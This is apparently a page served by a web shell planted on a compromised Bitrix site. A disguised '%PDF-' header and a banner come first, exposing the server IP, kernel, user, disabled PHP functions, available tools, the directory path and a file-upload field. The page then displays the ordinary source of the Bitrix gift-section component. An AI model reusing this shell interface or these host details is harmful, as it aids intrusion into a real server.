%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.188.209.244 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/install/components/bitrix/sale.products.gift.section/ |
Upload File : |
<? if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die(); use \Bitrix\Main; use \Bitrix\Main\Error; use \Bitrix\Main\Localization\Loc; use \Bitrix\Main\Entity\ReferenceField; use \Bitrix\Iblock\Component\ElementList; use \Bitrix\Sale\Discount\Gift\RelatedDataTable; use \Bitrix\Sale\Internals\DiscountTable; Loc::loadMessages(__FILE__); if (!Main\Loader::includeModule('iblock')) { ShowError(Loc::getMessage('SPGS_IBLOCK_MODULE_NOT_INSTALLED')); return; } class SaleProductsGiftSectionComponent extends ElementList { public function __construct($component = null) { parent::__construct($component); $this->setExtendedMode(true)->setMultiIblockMode(false)->setPaginationMode(false); } public function onPrepareComponentParams($params) { if (empty($params['SHOW_DISCOUNT_PERCENT'])) { $params['SHOW_DISCOUNT_PERCENT'] = 'Y'; } if (empty($params['SHOW_OLD_PRICE'])) { $params['SHOW_OLD_PRICE'] = 'Y'; } if (!isset($params['PAGE_ELEMENT_COUNT'])) { $params['PAGE_ELEMENT_COUNT'] = 4; } return parent::onPrepareComponentParams($params); } protected function checkModules() { if ($success = parent::checkModules()) { if (!$this->useCatalog || !Main\Loader::includeModule('sale')) { $success = false; $this->abortResultCache(); if (!$this->useCatalog) { $this->errorCollection->setError(new Error(Loc::getMessage('SPGS_CATALOG_MODULE_NOT_INSTALLED'), self::ERROR_TEXT)); } if (!Main\Loader::includeModule('sale')) { $this->errorCollection->setError(new Error(Loc::getMessage('SPGS_SALE_MODULE_NOT_INSTALLED'), self::ERROR_TEXT)); } } } return $success; } private function getSectionId() { $sectionId = null; $sectionSearch = $this->arParams['SECTION_ID'] > 0 || $this->arParams['SECTION_CODE'] !== ''; $sectionByItemSearch = $this->arParams['SECTION_ELEMENT_ID'] > 0 || $this->arParams['SECTION_ELEMENT_CODE'] !== ''; if ($sectionSearch || $sectionByItemSearch) { if ($sectionSearch) { $sectionId = $this->arParams['SECTION_ID'] > 0 ? $this->arParams['SECTION_ID'] : $this->getSectionIdByCode($this->arParams['SECTION_CODE']); } else { $sectionId = $this->getSectionIdByElement($this->arParams['SECTION_ELEMENT_ID'], $this->arParams['SECTION_ELEMENT_CODE']); } } return $sectionId; } /** * Returns list of product ids which will be showed. * @return array */ protected function getProductIds() { list($elementIds, $sectionIds) = $this->getGiftData(); $this->productIds = array_unique(array_merge($elementIds, $this->getElementIdsFromSection(reset($sectionIds)))); return $this->productIds; } private function getGiftData() { $elementIds = array(); $sectionIds = array(); $sectionId = $this->getSectionId(); if (empty($sectionId)) { return array($elementIds, $sectionIds); } $query = new \Bitrix\Main\Entity\Query(RelatedDataTable::getEntity()); $query->addFilter('MAIN_PRODUCT_SECTION_ID', $sectionId); global $USER; $query->addFilter('=DISCOUNT_GROUP.ACTIVE', 'Y'); $query->addFilter('DISCOUNT_GROUP.GROUP_ID', $USER->getUserGroupArray()); $referenceField2 = new ReferenceField( 'D', DiscountTable::getEntity(), array('=this.DISCOUNT_ID' => 'ref.ID'), array('join_type' => 'INNER') ); $query->registerRuntimeField('', $referenceField2); $query->addSelect('D.ID', 'ID2'); $query->addSelect('D.XML_ID', 'XML_ID'); $query->addSelect('D.LID', 'LID'); $query->addSelect('D.NAME', 'NAME'); $query->addSelect('D.PRICE_FROM', 'PRICE_FROM'); $query->addSelect('D.PRICE_TO', 'PRICE_TO'); $query->addSelect('D.CURRENCY', 'CURRENCY'); $query->addSelect('D.DISCOUNT_VALUE', 'DISCOUNT_VALUE'); $query->addSelect('D.DISCOUNT_TYPE', 'DISCOUNT_TYPE'); $query->addSelect('D.ACTIVE', 'ACTIVE'); $query->addSelect('D.SORT', 'SORT'); $query->addSelect('D.ACTIVE_FROM', 'ACTIVE_FROM'); $query->addSelect('D.ACTIVE_TO', 'ACTIVE_TO'); $query->addSelect('D.TIMESTAMP_X', 'TIMESTAMP_X'); $query->addSelect('D.MODIFIED_BY', 'MODIFIED_BY'); $query->addSelect('D.DATE_CREATE', 'DATE_CREATE'); $query->addSelect('D.CREATED_BY', 'CREATED_BY'); $query->addSelect('D.PRIORITY', 'PRIORITY'); $query->addSelect('D.LAST_DISCOUNT', 'LAST_DISCOUNT'); $query->addSelect('D.VERSION', 'VERSION'); $query->addSelect('D.CONDITIONS_LIST', 'CONDITIONS_LIST'); $query->addSelect('D.CONDITIONS', 'CONDITIONS'); $query->addSelect('D.UNPACK', 'UNPACK'); $query->addSelect('D.ACTIONS_LIST', 'ACTIONS_LIST'); $query->addSelect('D.ACTIONS', 'ACTIONS'); $query->addSelect('D.APPLICATION', 'APPLICATION'); $query->addSelect('D.USE_COUPONS', 'USE_COUPONS'); $query->addSelect('D.EXECUTE_MODULE', 'EXECUTE_MODULE'); $discounts = array(); $dbResult = $query->exec(); while ($row = $dbResult->fetch()) { $row['ID'] = $row['ID2']; unset($row['ID2']); $discounts[$row['ID']] = $row; list($productElementIds, $productSectionIds) = Bitrix\Sale\Discount\Gift\RelatedDataTable::getGiftsData($discounts[$row['ID']]); $elementIds = array_merge($elementIds, $productElementIds); $sectionIds = array_merge($sectionIds, $productSectionIds); } return array(array_unique($elementIds), array_unique($sectionIds)); } private function getElementIdsFromSection($sectionId) { if (empty($sectionId)) { return array(); } $ids = array(); $query = CIBlockElement::getList( array(), array( 'ACTIVE' => 'Y', 'ACTIVE_DATE' => 'Y', 'SECTION_ID' => $sectionId, 'CHECK_PERMISSIONS' => 'Y', 'MIN_PERMISSION' => 'R', ), false, array('nTopCount' => $this->arParams['PAGE_ELEMENT_COUNT']), array('ID') ); while ($row = $query->fetch()) { $ids[] = $row['ID']; } return $ids; } protected function processProducts() { $isEnabledCalculationDiscounts = CIBlockPriceTools::isEnabledCalculationDiscounts(); CIBlockPriceTools::disableCalculationDiscounts(); parent::processProducts(); foreach ($this->elementLinks as &$element) { if (!empty($element['ITEM_PRICES'])) { $this->setGiftDiscountToMinPrice($element); } } unset($element); if ($isEnabledCalculationDiscounts) { CIBlockPriceTools::enableCalculationDiscounts(); } } /** * Add offers for each catalog product. * @return void */ protected function processOffers() { $isEnabledCalculationDiscounts = CIBlockPriceTools::isEnabledCalculationDiscounts(); CIBlockPriceTools::disableCalculationDiscounts(); parent::processOffers(); foreach ($this->elementLinks as &$item) { if (!isset($item['OFFERS'])) { continue; } foreach ($item['OFFERS'] as &$offer) { if (!empty($offer['ITEM_PRICES'])) { $this->setGiftDiscountToMinPrice($offer); } } unset($offer); } unset($item); if ($isEnabledCalculationDiscounts) { CIBlockPriceTools::enableCalculationDiscounts(); } } /** * @param array $item */ protected function setGiftDiscountToMinPrice(array &$item) { $selectedPrice =& $item['ITEM_PRICES'][$item['ITEM_PRICE_SELECTED']]; $selectedPrice['PRICE'] = $selectedPrice['DISCOUNT']; $selectedPrice['PRINT_PRICE'] = $selectedPrice['PRINT_DISCOUNT']; $selectedPrice['DISCOUNT'] = $selectedPrice['BASE_PRICE']; $selectedPrice['PRINT_DISCOUNT'] = $selectedPrice['PRINT_BASE_PRICE']; $selectedPrice['RATIO_PRICE'] = $selectedPrice['RATIO_DISCOUNT']; $selectedPrice['PRINT_RATIO_PRICE'] = $selectedPrice['PRINT_RATIO_DISCOUNT']; $selectedPrice['RATIO_DISCOUNT'] = $selectedPrice['RATIO_BASE_PRICE']; $selectedPrice['PRINT_RATIO_DISCOUNT'] = $selectedPrice['PRINT_RATIO_BASE_PRICE']; $selectedPrice['PERCENT'] = 100; } }